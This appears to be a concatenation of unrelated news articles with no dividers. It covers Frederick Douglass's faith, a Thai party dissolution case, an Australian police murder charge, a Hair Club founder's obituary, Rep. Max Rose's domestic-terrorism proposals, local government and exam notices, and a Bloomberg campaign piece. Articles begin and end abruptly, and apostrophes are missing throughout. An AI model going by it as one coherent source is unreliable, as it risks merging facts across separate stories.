faith to justify their violence and oppression. His most outwardly religious masters were the most depraved in their cruelty. On Sabbath mornings, Douglass often stood on the banks of the Chesapeake Bay and gazed upon the white sails of vessels that traveled the globe untrammeled. The sight tormented him. One Sabbath, in his misery, with no audience but God, he cried out a psalm of lament: O, why was I born a man, of whom to make a brute! The glad ship is gone; she hides in the dim distance. I am left in the hottest hell of unending slavery. O God, save me! God, deliver me! Let me be free! Is there any God? Why am I a slave? In his brokenness, comfort slowly came. Douglasss sorrow that morning transformed into hope for deliverance. He felt Gods presence and resolved on the banks to do his part to win his freedom: I will run away. . . . God helping me, I will. It cannot be that I shall live and die a slave. Douglass took few possessions on his long journey to freedom. He left behind his chains, but not his prophetic Christian faith that first took root in slavery. At the foundation of that faith rested certain assurances: that God suffers with the oppressed and will not tolerate injustice forever; that slaveholders perverted the Christian faith in their religious justifications of oppression; that Christ, in bidding all to come and die, offers a new way to live, radically different from the worlds hatred and violence. The Christianity of Christ Douglass would settle in New Bedford, Massachusetts, hoping only to earn a fair wage as a caulker. But he soon gravitated toward the abolitionist movement. He avidly read William Lloyd Garrisons Liberator, the nations leading antislavery newspaper, which took its place with me next to the Bible, Douglass wrote, because of its bold condemnation of hypocrisy and wickedness in high places. In 1841, Douglass became a paid lecturer of the Massachusetts Anti-Slavery Society. The societys president offered Douglass the job after hearing him make an impromptu speech at an abolitionist rally. Douglass would now make a living traveling through the North, telling the story of his life and denouncing slavery and its defenders. His task was to convince Americans to see the antislavery cause as a great moral necessity. To that end, he repeated a chastening refrain: Between the Christianity of this land, and the Christianity of Christ, I recognize the widest possible difference. Douglass delivered this message to greatest effect in his first autobiography, the iconic Narrative of the Life of Frederick Douglass, an American Slave. Published in 1845, the book was an instant hit, selling 30,000 copies within five years. Douglasss Narrative is one of the great texts of the black prophetic Christian tradition, full of scorn for religious hypocrisy and oppression but also full of hope that Americans might still commit themselves to the path of true righteousness. In the famous Appendix, Douglass condemned the corrupt, slaveholding, women-whipping, cradle-plundering, partial and hypocritical Christianity everywhere present in America. As Douglass knew from direct experience, the cruelest slaveholders were also often the most ardent churchgoers. The man who wields the blood-clotted cowskin during the week fills the pulpit on Sunday, Douglass scoffed, and claims to be a minister of the meek and lowly Jesus. But the tragedy went deeper than the fact that individual slaveholders professed Christianity while failing to live up to Christs commands. Every believer shared that failure. Far worse was how, at an institutional level, slavery and the Christian churchin the North and Southremained inextricably connected. The slave auctioneers bell and the church-going bell chime in with each other, and the bitter cries of the heart-broken slave are drowned in the religious shouts of his pious master, Douglass lamented. The slaveholder fills church coffers with gold, and, in turn, the pastor covers his infernal business with the garb of Christianity. Douglass then quoted from Matthew 23, where Jesus Christ calls the scribes and Pharisees whited sepulchers, which indeed appear beautiful outward, but are within full of dead mens bones, and of all uncleanness (v. 27, KJV). Douglass insisted that Christs words held true for the overwhelming mass of professed Christians in America. Slaveholders and their apologists attend with Pharisaical strictness to the outward forms of religion, and at the same time neglect the weightier matters of the law, judgment, mercy, and faith. They had utterly abandoned the true Christianity of Christ and invited the wrath of a just and avenging God. Hope of Redemption Douglass rejoiced in 1865 when the Union triumphed in the Civil War and the nation ratified the Thirteenth Amendment, abolishing slavery forever. But he did not believe his prophetic work had ended. At the end of his life, equality under the law remained an aspiration, not a reality. African Americans and women were denied the right to vote. The ghost of slavery lived on in oppressive economic arrangements like sharecropping. Jim Crow carved rigid lines of racial segregation in the public square. White mobs lynched at least 200 black men each year in the 1890s. He had good reason, then, in 1889, to mourn how the malignant prejudice of race still poisoned the fountains of justice, and defiled the altars of religion in America. Yet Douglass also rejoiced in the continued possibility of redemption. A new way of seeing the world, and living in it, still remainedone that rested, Douglass said, on a broad foundation laid by the Bible itself, that God has made of one blood all nations of men to dwell on all the face of the earth. In these unsettled times, its only natural to want to summon Douglass from the graveto have him speak directly to the particular problems that still fester at the intersection of race and religion in American life. That desire reminds me of a story about a great 20th-century American historian, Don Fehrenbacher. As the story goes, he once was lecturing in Boston during the mounting crisis over forced busing to integrate public schools. After his talk, a man asked, What would Abraham Lincoln say about busing? Fehrenbacher replied: I think he would probably say, Whats a bus? Douglasss America is not our America. A chasm of historical change separates us, much of it nearly unimaginable when Douglass died. And yet, were still heirs of the history Douglass faced and forged. The malignant prejudice of race lives on, a mockery of our common Creator and the likeness of the God we share. If he could stand before us today, I doubt Douglass would presume to offer simple solutions to our racial dilemmas. But I suspect he would remind us of the promise made in Isaiah: Cease to do evil; learn to do well; seek judgment, relieve the oppressed, judge the fatherless, plead for the widow. Come now, and let us reason together, saith the Lord: though your sins be as scarlet, they shall be as white as snow (1:1618, KJV). D. H. Dilbeck is a historian living in New Haven, Connecticut. This article is adapted from his book, Frederick Douglass: Americas Prophet (The University of North Carolina Press). Have something to say about this topic? Let us know here. Have something to add about this? See something we missed? Share your feedback here. Bangkok, Thailand Thailands Constitutional Court is set to issue on Friday its verdict on an electoral case that could lead to the possible dissolution of the countrys third-largest political bloc an outcome that could push the country into another round of unrest. The Future Forward Party (FFP) and its leader, Thanathorn Juangroongruangkit, are accused of breaking election finance laws when he reportedly loaned 191.2 million-baht ($6.06m) to his party during the campaign last year. In December, Thailands Election Commission (EC) had filed a request to dissolve FFP about the legality of the loan. Thanathorn, an auto-parts billionaire-turned-politician admitted to loaning the money to finance political activities. But he maintained that the countrys electoral law allows such a loan contract. Since its establishment two years ago and following its strong showing during the March 2019 parliamentary elections, the FFP and Thanathorn have come under fire from the current government of Prime Minister Prayuth Chan-ocha. FFP has at least 76 parliamentary members in the 500-seat legislative body of Thailand. In the race for prime minister in 2019, Thanathorn had challenged Prayuth, a former general and leader of the 2014 coup. In January, the party narrowly escaped a separate attempt at disbandment, after being acquitted of trying to overthrow the monarchy allegations that FFP and Thanathorn have strongly denied. The party is also accused of being anti-military, for supporting policies against forced conscription, among other allegations. To date, it has faced at least 28 legal challenges. In November, the same Constitutional Court stipped Thanathorn of his MP status, after finding him guilty of violating the election law, by owning shares in a media company during the campaign season. He has denied the charge saying he had transferred the ownership of the shares before the election. The struggle will continue In an interview with Southeast Asia Globe earlier this week, Thanathorn declared that he and his party are innocent of the charges, adding that they will continue the fight they will get an unfavourable verdict. The loan has a clear contract Im not giving this money for free to the party, he said, adding that he has been transparent about his campaign. If were found guilty of this and our party is dissolved, the struggle will continue. Our MPs will be moved to a new house, a new political party that has been pre-arranged. Although it is not unheard of for party leaders to loan large sums of money to their own campaigns, the election commission is adamant that Thanathorn broke the law. Political observers speculate that if the party is dissolved, supporters could mobilise online and on the streets, with many of the young party loyalists active on social media. Its deja vu all over again in Thai politics, Thitinan Pongsudhirak, an associate professor of political science at Bangkoks Chulalongkorn University, told Al Jazeera. It used to be the Thaksin party machine that gets dissolved. But now its Thanathorn and his Future Forward Party, he said referring to former Prime Minister Thaksin Shinawatra, whose term was also dominated by political clashes. Political movement will grow Thitinan predicted that the FFP would be significantly weaker if it is ordered dissolved, as some parliament members might switch camp, diluting its brand under a new banner. But I think the party as a political movement will grow because of the forces of history in favour of popular rule and of vested interests in younger people wanting a say for their own future. Supporters of FFP are now left wondering if the legal battles will ever come to an end. Many are doubtful that the party will overcome its latest political hurdle. If FFP is dissolved, I will surely be disappointed by the unfairness of every participant who makes this happen, said Boss, a software engineer living in Bangkok. However, it is not a big surprise for me if something happens to FFP [today] because I know that it will end like this, he said. Personally, I support every political party who fight for democracy and equality. The main reason that I support FFP is because they fight against dictatorship even though they might be attacked in many ways, he added. The charge laid against a first-class constable on Thursday over the shooting of Joyce Clarke in Geraldton marks the first time in almost a century a police officer has been accused of murder in Western Australia. Ninety-three years ago the bodies of 20 Aboriginal people were found slaughtered and burned in different parts of WA's Kimberley region. The community was rocked when it became clear the ringleaders of the massacre were two police officers seeking payback over the death of a white pastoralist, who were then arrested and charged with murder. Joyce Clarke was shot dead by police in Geraldton. This photo has been published with the permission of Ms Clarke's family. Credit:Facebook After a police inquiry and a Royal Commission into what became known as the 1926 Forrest River massacre, the two men walked free. The founder of the Hair Club for Men has died. Sy Sperling, the recognizable face from many a late-night commercial touting a treatment for hair loss, died on Wednesday in Boca Raton, the South Florida Sun Sentinel reported. He was 78. Known for his iconic catchphrase, Im not only the Hair Club president, but Im also a client," Sperling inspired like-minded consumers by revealing his own balding head to the masses in "before" photos. The New York businessman with a receding hairline started out as a swimming pool salesman. He created his own solution for hair loss after becoming frustrated with toupees, according to the Los Angeles Times. Rear view of a businessman scratching the top of his head. If youre dating and going to be having special moments, how do you explain, I got to take my hair off now? Sperling said, according to the Times. Sperling opened a Madison Avenue salon in the 1960s where he practiced a weaving technique he learned from a hairstylist to attach hair purchased from women to a nylon cap glued to a male client's scalp. The procedure required periodic adjustments, but customers kept coming back, the Sun Sentinel reported. For several years, Sperling's salon was a success, and he was able to pay off the $10,000 in credit he invested. However, word-of-mouth advertising proved unreliable. Clients were reluctant to admit the source of their miracle hair growth and business stagnated in the 1970s, according to the obituary. Sperling founded Hair Club for men in 1976, according to the Sun Sentinel, then turned to commercials to attract new clientele. The ads began airing nationally in 1982, costing him $12 million a year, the obituary said. The prevalence of the commercials, which ran 400 times a day on nightly TV, made Sperling a household name and generated 10,000 calls within the first month of airing, according to the Hair Club website. Late-night television shows the "Tonight Show" and "Saturday Night Live" spoofed the ads, which always included dramatic "before" and "after" images of men. Sterling, himself, appeared at the end of each commercial to deliver his timeless catchphrase, the Times said. Story continues Hair Club for Men swelled to 40 franchises by 1991. Clients paid between $2,000 to $3,500 for the system and $600 per maintenance appointment, the Sun Sentinel reported. Hair Club dropped "For Men" in the mid-90s to also cater to women's hair loss needs. Hair Club for Kids, invented to offer free hair to juvenile cancer patients, followed a year later, according to the company website. The business was sold to a private investment group in 2000 for $45 million, the obituary said, then it was purchased by Regis Corporation in 2004. Tokyo-based Aderans Co. Ltd. purchased the company in 2014, according to the website. Sperling made television appearances on shows like Wrestlemania, The Tonight Show with Jay Leno, and Lifestyles of the Rich and Famous. He also hosted a radio show, How To Succeed in Business, which aired on WBSR in Boca Raton, the Sun Sentinel reported. He died after a lengthy illness, spokeswoman Terri Lynn said. Sperling is survived by his wife, Susan; his daughter, Shari Sperling; his son, Andrew Sperling; and his sister, Rosalie Slute, according to the obituary. This article originally appeared on USA TODAY: Founder of Hair Club for Men dies at 78 BROOKLYN If all else were to fail in his fight against the threat of domestic terrorism, Rep. Max Rose offered an unconventional plan to protect the Brooklynites who had come to hear him speak at a Jewish community center: Hed stand on guard duty at their places of worship himself. Right in front of your church, and your mosque, or your synagogue, the Army combat veteran said. Ill do it, Rose told the people who came out to this low-slung stretch of Ocean Parkway, where mosques and synagogues sit next to auto repair shops and fast food joints. Im a scary-looking dude, right? Short and bald, with eyes that fold into an intense interrogatory squint, the first-term congressman representing Staten Island and a narrow wedge of Brooklyn looks more like an outside linebacker than a first-term legislator. The first Jewish lawmaker to represent Staten Island and the first Democrat elected by the Republican redoubt in a decade Rose has recently emerged as a leading proponent of treating white supremacists no differently than law enforcement treats foreign terrorists. Rose wants the federal government to recognize that white nationalist groups like the Rise Above Movement and the Atomwaffen Division are as serious threats to American citizens as the Islamic State or al-Qaida. The FBI has also acknowledged that threat, recently deeming homegrown extremists a national threat priority. For national-security-minded Democrats like Rose, however, the response to the threat has not been commensurate with its size. This is extensive, it is global, it is frightening and it is not something we can afford to ignore, says Rose, who in recent months has emerged as one of Washingtons most ardent supporters of expanded domestic terror statutes. He is among a growing number of Democrats who want the federal government to do a better job of identifying, tracking and ultimately prosecuting domestic terrorists. Rose has two significant proposals. One, which would require congressional endorsement, requires the Department of Homeland Security to perform a threat assessment on foreign terror groups, which often have ties to domestic ones. While that may seem like a relatively minor point, it would represent a major advancement over the current state of affairs. The bill recently advanced out of the relevant committee. Story continues Roses other proposal calls on the State Department to label transnational white extremist groups as foreign terrorist organizations. Such a label would effectively criminalize Americans ability to interact in any way with white extremists outside the United States, much in the same way that it is illegal to join or support the Islamic State. The State Department could make that designation on its own, without needing congressional approval. But it would need to justify adding groups to its terror list. Rep. Max Rose, D-N.Y., speaks at the Museum of Jewish Heritage in New York on Jan. 2. Behind him, from left, are fellow Democratic Reps. Grace Meng, Eliot Engel and Gregory Meeks. (Mark Lennihan/AP) Max Rose is right, says Jason Blazakis, a terrorism expert at the Middlebury Institute of International Studies and a former top official at the State Department. Blazakis says it is appropriate to treat white nationalist groups as transnational syndicates, a model that runs counter to the lone wolf mythology long associated with white supremacist violence. Rose is asking the right question, he adds. Blazakis also agrees with Roses proposal to conduct formal assessments of these groups, arguing that federal departments like State and Treasury will be stuck in their dealings with race-motivated terrorists until the nations intelligence agencies are able to more freely collect the information that could lead those departments to levy sanctions or restrictions. The collection agencies need to spend more of their resources on domestic terror, Blazakis says, pointing to the Central Intelligence Agency, the National Security Agency and the Defense Information Agency in particular. Threat assessments may not be the stuff of Jason Bourne thrillers, but they can keep Americans safe. (Blazakis later clarified that he would never want the CIA to engage in domestic surveillance, only to include white extremists in the work the agency does abroad.) To underscore the threat of this global movement, Rose points to the relatively recent advent of the Base, a white supremacist group founded by an American living in Russia. The Base happens to be what al-Qaida translates to in English. And although the groups founder appears to be based in Russia, his adherents have been arrested in Wisconsin and Georgia. According to the Anti-Defamation League, the Base touts international locations including Australia, Canada and South Africa, as well as cells in 10 U.S. states, from California to Minnesota to New Hampshire. Theres a global movement here, Rose says. The issue is also personal for Rose, a descendant of Eastern European Jews, who grew up in the brownstone-lined Park Slope section of Brooklyn. He attended the prestigious Poly Prep Country Day private school, then went north to Connecticut to just-as-prestigious Wesleyan University. Then he did something that most people with prestigious educations do not do: He joined the Army. When you grow up Jewish in New York City, you think everyones Jewish, Rose said. That changed in basic training. And for the first time, you are the first Jew that someones met. Rose served in the Army for five years and deployed to Afghanistan, where he was wounded by a roadside bomb. He left active service in 2013 with a Bronze Star and a Purple Heart and is now a captain in the Army National Guard. Rose won his first political race in 2018, defeating Rep. Dan Donovan, who was the lone Republican to represent New York City in Washington. The victory made Rose the first-ever Jewish representative for Staten Island, whose members of Congress have tended to be Catholic. He was also a Democrat from a heavily Republican district that Donald Trump won easily in 2016. Global issues are something of a departure for Rose, who in his first year as a House member hewed to the classic constituent-services model that has worked well for so many New Yorkers serving in D.C. A typical Max Rose press release touts his work on a new garage at a Brooklyn veterans hospital or on a proposed seawall for Staten Island. Yet in a way, his crusade against white nationalists is in keeping with that keep-it-local sensibility. Rose in part represents one of the largest Yemeni populations in the United States, as well as many observant Jews. With their respective hijabs and black coats, both groups can easily be identified by those who might want to do them harm. And Rose thinks far too little is being done to protect vulnerable, visible populations like the ones in his district. We have to stop talking about free speech, he says, an allusion to the First Amendment rights that white supremacists frequently invoke, as do the civil libertarians who may loathe racism but worry about threats to the Constitution. That unlikely nexus once provided a classic headline about the American Civil Liberties Union in the Onion, a satirical newspaper: ACLU Defends Nazis Right to Burn Down ACLU Headquarters. For terrorism experts, legitimate civil liberties concerns should not conceal the magnitude of the threat. We are not talking about freedoms given to us by the Constitution, says Ali Soufan, the terrorism expert who, when he was at the FBI, sounded the alarm about Islamic fundamentalists ahead of the Sept. 11 attacks. Now he is working with Rose, issuing similar warnings about white extremists. Former FBI Agent Ali Soufan during an interview in New York City in 2018. (Hector Retamal/AFP via Getty Images) Some believe that such warnings are excessive and counterproductive, because federal law enforcement already knows how to identify and contain white supremacists. Among them is Michael German, a former FBI agent who is now a national security fellow at the Brennan Center for Justice. They are imagining a gap that doesnt exist, he says of legislators like Rose and Rep. Adam Schiff, D-Calif., who has called for a domestic terrorism law. German says suggestions of an inadequate legal authority to combat domestic terrorism are ridiculous. German is the co-author of a 2018 report titled Wrong Priorities in Fighting Terrorism. There, and in other writings, he has noted that a domestic terrorism statute does exist and that it applies to 51 violations of the U.S. criminal code. I think its a mistake, agrees another domestic terrorism expert, who requested anonymity because the not-for-profit organization he works for has not taken a public position on any of Roses proposals. I see no evidence our problem is fundamentally related to the lack of investigatory powers." He adds that the most important caution is to protect the Constitution and that federal law enforcement is perfectly capable of breaking up terror plots. As evidence, he alludes to last Novembers arrest of 13 Atomwaffen Division members. I need an FBI that does its job, the expert says. Arguments about domestic terrorism can easily descend into legalistic parsing; for Rose, the matter is more immediate. People are afraid to go outside with their kippah, he says, referencing traditional Jewish headwear. People are afraid to speak Hebrew in public. People are afraid to go to synagogue. Given the rising rate of hate crimes in the United States, and the fear those crimes have engendered in people like Roses constituents, it is difficult to argue against the federal governments doing more, with better tools at hand. I disagree they have everything they need. They need a better law, says Blazakis, the Middlebury terrorism expert. He likes the Schiff plan because it would include oversight from a civil liberties board. It matters in terms of the sentencing, it matters in terms of the symbolism, Blazakis says, arguing that the world needs to see the United States treating white supremacists as harshly as it has treated Islamic radicals. If youre brown in America, Blazakis says, youre more likely to be labeled a terrorist than if youre white. Thats the case even as the fatalities inflicted by white supremacists have surpassed those of terrorists inspired by a warped vision of Islam. The remedy Rose has proposed is to treat any American white nationalist group that associates with similar groups abroad as a foreign terrorist organization. The list of those organizations, which is kept by the State Department, now has 69 members and includes the likes of the al-Aqsa Martyrs Brigade and the Real Irish Republican Army. The designation gives federal law enforcement broad powers to investigate those who provide material support to such groups, but the list mostly comprises jihadist organizations. That creates a glaring loophole for someone like Christopher Hasson, a Coast Guard officer from Maryland who stockpiled a veritable arsenal that he hoped to use in the service of killing members of Congress, justices of the Supreme Court and media figures. Hasson was inspired by Anders Behring Breivik, the Norwegian white nationalist who killed 77 people in Oslo and on an island summer camp in 2011. Breivik, in turn, had been inspired by Islamophobic groups in the United States, including ACT for America and the benign-sounding Center for Security Policy. Both are labeled as hate groups by the Southern Poverty Law Center. Even though federal prosecutors branded Hasson a domestic terrorist in the court filings, that designation did not come with an attendant charge and was therefore only a rhetorical flourish. The charges against him involved possession of drugs and guns, and those were regarded as light enough, on their own merits, for the court to order his release. Prosecutors successfully fought that order, and Hasson was eventually sentenced to a 13-year-term. Even so, the fact that his desire to commit what would have been an act of terrorism played no role in his sentencing suggested to many that something was amiss. Blazakis believes that if there were a domestic terror statute, Hasson would have faced a much longer prison term. A photo of firearms and ammunition that belonged to Christopher Paul Hasson, a Coast Guard lieutenant. (Maryland U.S. District Attorney's Office via AP) A number of lawmakers, including Schiff, have called for Congress to ratify a full-blown domestic terror statute, but that seems unlikely with the House bitterly divided and the Republican-controlled Senate still reeling from the presidents impeachment trial. More likely is the far more modest Rose threat assessment measure, which staffers in his office say Democratic leaders will eventually bring to the House floor. But Roses appeal to expand the government list of terrorist organizations to white supremacists wouldnt need lengthy congressional deliberations. If the State Department decides to open its terror list to white nationalist groups, it would shift resources and expand legal authorities that cover foreign organizations like the Islamic State to groups like the Azov Battalion, a neo-Nazi group based in Ukraine that Rose argues is a terrorist organization. If it were formally designated as such, American organizations like the Rise Above Movement and the Atomwaffen Division, both of which have ties to the Azov Battalion, could then be charged with providing material support to a terrorist organization. As things stand, however, white supremacists in the United States with counterparts in Germany and Russia, among many other countries, must violate some existing criminal statute before the U.S. government can do anything. They are terrorists through and through, Rose says of white supremacists. We just havent had the courage to label them as such. For its part, the State Department would not say what it thinks of Roses proposal. We dont discuss deliberations or the potential deliberations of our designations process, an official there told Yahoo News. Not everyone believes that such labeling is a good idea. Trump has already threatened to designate antifa, the occasionally violent black-clad progressives, a terrorist organization. German, the Brennan Center fellow, points to the terrorism statute being used, in one instance, against an American student who sent socks to a friend in Afghanistan who was affiliated with al-Qaida. As a warning about the dangers of Roses approach, German also highlighted the case of Peyton Pruitt, a mentally disabled Alabama man who was ensnared in an FBI undercover operation. Pruitt, who has an IQ of 51, was accused of helping ISIS. He functions at the level of an 8-year-old child, Esquire wrote of Pruitt. Hes never lived on his own, has never had a job, and cant tie his own shoes. Shortly after the Esquire article was published, Pruitt was released from jail. House Subcommittee on Intelligence and Counterterrorism Co-Chairman Rep. Max Rose, D-N.Y. during a hearing on "meeting the challenge of white nationalist terrorism at home and abroad" on Capitol Hill in Washington in 2019. (Manuel Balce Ceneta/AP) Rose does not share these concerns. Staffers in his Washington office acknowledge that they envision white supremacists potentially placed on the federal terrorist watch list, which already includes more than a million people and faces legal challenges pertaining to its constitutional grounds. Yet even as civil libertarians worry about the U.S. government potentially spying on Americans and curbing their First Amendment right to association, others think tougher measures against homegrown extremism are overdue. White supremacists are now where the jihadis were in the early 90s and the late 80s, says Soufan, the former FBI terrorism expert. Now an independent security consultant, Soufan says Ukraine is the new Afghanistan, serving as a similar proving ground for white nationalists that the latter country served for jihadis like Osama bin Laden. In a recent joint op-ed in the New York Times, Rose and Soufan called on the State Department to formally label white supremacist groups as foreign terrorist organizations, or FTOs. Without such a designation, Rose and Soufan argued, law enforcement cannot utilize the most effective tools to protect the country. Unlike other measures addressing white nationalism, this one would not need congressional endorsement, just a sign-off from Secretary of State Mike Pompeo and his bureau of counterterrorism. Rose previously asked the State Department to include white hate groups on the list in an Oct. 16, 2019, letter. Signed by 39 other Democrats, the letter noted that James Alex Fields, who killed counterprotester Heather Heyer with his car during the 2017 white nationalist rally in Charlottesville, Va., belonged to an organization that had links to National Action, a British hate group that has already been branded a terrorist organization by Scotland Yard, though not by the United States. Terrorism is terrorism, the letter said, arguing that white nationalist groups formed, in the words of national security expert Rita Katz, a global terrorist network, linked together via online safe havens much like ISIS. The links are not always explicit, but they are strong enough to belie the notion of lone wolf attackers motivated by inner demons. The manifesto of the shooter who slaughtered 49 people inside two Christchurch, New Zealand, mosques showed clear evidence of ideological cross-pollination with like-minded fanatics in Europe and the United States. The State Department responded with a short letter that acknowledged the dangers posed by racially and ethnically motivated terrorism but refused to say anything about the designations Rose had asked for. Flowers and tributes are hung on the fence of the Botanic Gardens on March 17, 2019 in Christchurch, New Zealand. 49 people were killed following shooting attacks on two mosques in Christchurch on March 15, 2019. (Carl Court/Getty Images) Staffers in Roses office say the State Department was pretty disinterested in this and brushed it off. But instead of dropping the effort, Rose is redoubling it, motivated by the conviction that he can, in the words of one staffer, publicly shame this roadblock out of existence." The State Department would not answer questions about Roses letter to Pompeo. As for the Justice Department, which oversees terrorism-related prosecutions, an official there said that we feel we have adequate laws to prosecute and bring to justice those that commit acts of violence that are labeled domestic terrorism. Experts also believe that simply talking about the white supremacist threat will help the public understand how serious that threat is. On the floor of the House, Rose recently invited a rabbi who survived the Holocaust to say the opening prayer, and back home he reassured his constituents that he will find a way to keep them safe. This is not a fight Im gonna give up, Rose said at the community meeting in Brooklyn, which he hosted to help constituents apply for federal security grants. There were religious Jews in the audience, as well as religious Muslims, Russian-Americans and African-Americans, reflecting the rich diversity of Roses district, but also the scope of fear that white extremists have engendered. On the whole, however, the district is Republican and white. As one of the most vulnerable Democrats in the House, Rose has had to show his right-leaning constituents that he can work with Trump, even as he had to show his Democratic colleagues that he is very much one of them. In December, he was one of just a handful of Democrats to attend the White House signing of an executive order condemning anti-Semitism on college campuses. And while others correlate the rise of white nationalism to the rise of Trump, Rose pointedly declines to do so. If you begin this conversation, and end it, by blaming the presidents language, you actually dont do the severity of this problem any justice whatsoever, Rose says. He believes the problem of white nationalism predates Trump and will outlast him. He is also willing to call out members of his own party. When fellow first-termer Rep. Ilhan Omar one of two Muslim women new to Congress made what some thought was an anti-Semitic comment, Rose criticized her for it. But after she apologized, he was quick to call her a friend. For good measure, he added that Republicans were chickens*** for failing to confront anti-Semitism in their own ranks. I dont care about politics when it comes to this issue, he says of criticizing Omar. I do not care about politics when it comes to confronting hate. As if to prove that very point, he recently worked with Omar and Rep. Rashida Tlaib, D-Mich. the other Muslim woman in Congress on an attempt to repeal Trumps ban on travelers from majority-Muslim countries. U.S. Rep. Ilhan Omar, D-Minn, right, speaks, as U.S. Rep. Rashida Tlaib, D-Mich. listens, during a news conference at the Capitol in Washington in 2019. (J. Scott Applewhite/AP) Omar, for her part, wants to make sure Rose doesnt forget Muslims in his fight against domestic terrorists. If our efforts to fight terrorism dont take into account threats against the Muslim community, then we are not fighting domestic terrorism. Instances of physical violence and threats against the Muslim community skyrocketed when Trump was elected, she told Yahoo News. Meanwhile, back home, Rose is about to face a difficult reelection campaign. Trump has already endorsed his Republican challenger, Nicole Malliotakis, a Staten Island native who unsuccessfully ran for mayor of New York three years ago. There are probably easier, more vote-friendly issues than white nationalism for Rose to take up ahead of Novembers election, but he vows to persist. No matter what is said about me, online or to my face, no matter what, he says, Im not giving up this fight. This article has been updated with the State Departments response to Roses letter about terrorist designations for white extremist groups. A second update clarified Michael Germans position on existing legal authority to combat domestic terrorism. _____ Read more from Yahoo News: Bihar Public Service Commission (BPSC) will release the notification for 66th combined (preliminary) competitive exam in the month of June. The notification will be published on the official website of BPSC at bpsc.bih.nic.in. According to the official calendar released by BPSC on Friday, the BPSC 66th prelims exam notification will tentatively be released in the last week of June. The online application process will also begin a week after the release of notification. If we look at the past trends, BPSC had released the official notification for 65th prelims exam on July 4 and the online registration process had begun from July 10. The last date to apply was July 24. The applicants had to apply for the posts before August 6, 2019. The BPSC 65th PT was conducted on October 15 for which the admit card was released on October 2. The answer key was then released on October 28. Following the trend, candidates can expect that the 66th prelims exam will be conducted in the month of September or October and prepare for their exam accordingly. However, the confirmed date will be released by BPSC in the due course of time. Candidates are advised to keep checking the official website of BPSC for updates. SHARE THIS ARTICLE ON HARTFORD A 31-year-old Stamford man is facing a 15-year prison sentence for using the internet to download and view child pornography, according to the U.S. Attorneys office. Brien Pennell was also ordered by Hartford U.S. District Judge Robert N. Chatigny to serve 10 years of supervised release after his prison sentence is up. Pennell was convicted in state court of sexual assault and possession of child pornography offenses in February 2008. He served 30 months in prison and was sentenced to 15 years of probation for those offenses, according to the release. On Feb. 2, 2018, after an investigation revealed that an IP address registered to Pennell was being used to share images and videos of child pornography via the Kik application, Connecticut probation officers conducted a compliance search of Pennells home and vehicle and seized various electronic media, including a smart phone and a tablet, both of which were located in a hidden compartment under the steering wheel of the vehicle, according to the release. Subsequent analysis of the seized electronic devices, Pennells Kik account and a Dropbox account he maintained, revealed 148 videos and 40 images of child pornography, some of which depict the sexual abuse of children younger than 12, the release said. Pennell has been detained since his federal arrest March 20, 2018. On June 26, 2019, he pleaded guilty to one count of receipt of child pornography. Pennell faced an enhanced mandatory minimum prison term in this case based on his criminal history. This prosecution is part of the U.S. Department of Justices Project Safe Childhood Initiative, which is aimed at protecting children from sexual abuse and exploitation. To report cases of child exploitation, visit www.cybertipline.com. William Koziara of Johns Building explains to the subcommittee his plans for expansion. The committee is recommending a tax financing agreement for the project. PITTSFIELD, Mass. The finance subcommittee approved a tax increment financing agreement with Johns Building Supply. The committee voted Thursday to recommend the TIF to the full City Council that would benefit the building supply company as it constructs a 8,000-square-foot retail and office space at 850 Crane Ave. "I will support this local and it is good to see a local business using these programs to get some things done to grow their business," Councilor at Large Earl Persip said. With the proposed Ashuwillticook Rail Trail extension into Pittsfield, the 70-year-old company plans to move its office from the north to the south side of Crane Avenue. "The bike trail would change the traffic flow and the only way for us to get the trucks in there, we would have to guarantee that those truck drivers were really good truck drivers," owner William Koziara said. "Initially, we were against the bike path but we have embraced it." William and Sherry Koziara, owners of Johns Building Supply, look to invest between $850,000 and $950,000 in the new building that will expand their retail business. "We are going to open up a new retail office, showroom, and outside display area," William Koziara said. "I didn't realize how much buildings cost. I sell products for it but I have never built so I am asking for some initial tax relief to get the business ramped up." The new construction would allow them to bring in a new tenant and create a possible 10 new jobs. According to the agreement, Johns Building Supply would be exempt from paying the increased property taxes for the first year. This percentage would step down over the five years. In year two, it would be exempt from paying 80 percent, 60 percent for the third year, 40 percent for the fourth year and 20 percent for fifth year. Director of Community Development Deanna Ruffer said the TIF is more or less a way to phase in the increased taxes that the business will incur. She said it is really a way to give a business more cash to work with upfront. "So we are not losing any money and we are not subsidizing their activity in any manner," she said. "We are simply phasing in the increase in property tax obligation." The Koziaras would be on the hook for making these investments as well as hiring four new full-time employees. Koziara said he hopes to be able to hire more as well as four to five part-time employees. The committee had no qualms about the actual finances of the project and focused its questions toward the process and conservation concerns. There was some concern about wetland encroachment but Ruffer said the conservation agent is working with the Koziaras through the project and possible mitigation. She said no violation has been issued. This caused Ward 2 Councilor Kevin Morandi some pause and he was hesitant to pass something along that could be in violation. He said he would prefer to table the item. "To me that raises a concern," he said. Councilor at Large Peter White said he did not want to hold up the project and not recommend it to the full council for discussion especially when the committee's jurisdiction is only finance. "I don't want to see this held up here and we are not conservation, we are here for finance and the finances on this look good," he said. Ruffer said the agent is comfortable with the current process and is currently mapping out the survey. She said she can provide a memo from the agent at the City Council meeting to clarify details around the possible encroachment when it meets to vote on the matter Tuesday. Morandi was the only vote in opposition. The subcommittee tabled a second TIF agreement with Somnath LLC, which plans to invest $10 million in the construction of a Holiday Inn Express at 1055 South St. Representatives from Somnath were unable to attend the meeting and asked to reschedule. Mike Bloomberg got into the 2020 race to stop Bernie Sanders and socialism. If he doesn't bounce back from this week's debate, he may seal the deal for both. Why it matters: Bloombergs own campaign has warned that Sanders could lock up the nomination in mere weeks, thanks to rivals splitting the opposition vote. But Bloombergs own spending makes it harder for other rivals to cut through and virtually assures he sucks up significant delegates. A top Bloomberg official tells me the response is simple: Recover at the next debate Tuesday in South Carolina. Bloomberg warned in Salt Lake City yesterday: "Look, the real winner in the debate last night was Donald Trump. Because I worry that we may very well be on the way to nominating somebody who cannot win in November." "And if we choose a candidate who appeals to a small base, like Sen. Sanders, it will be a fatal error." Situational awareness: Bloomberg is polling at 15-plus in most states and his money can buy a viable floor, regardless of debate performances. Joe Biden and Pete Buttigieg could be viable alternatives, and Elizabeth Warren got her mojo back with her debate takedown of Bloomberg. But they're all playing with pennies compared with the former New York mayor's billions. Sanders, if anything, is rising. National and state polls show him getting stronger and performing similarly to and sometimes better than rivals in head-to-head match-ups with President Trump. Part of the Bloomberg theory of the case depends on a contested convention breaking his way. But David Plouffe, Barack Obama's campaign manager in 2008, said on MSNBC's post-debate show: "The notion that the Democratic Party is going to have 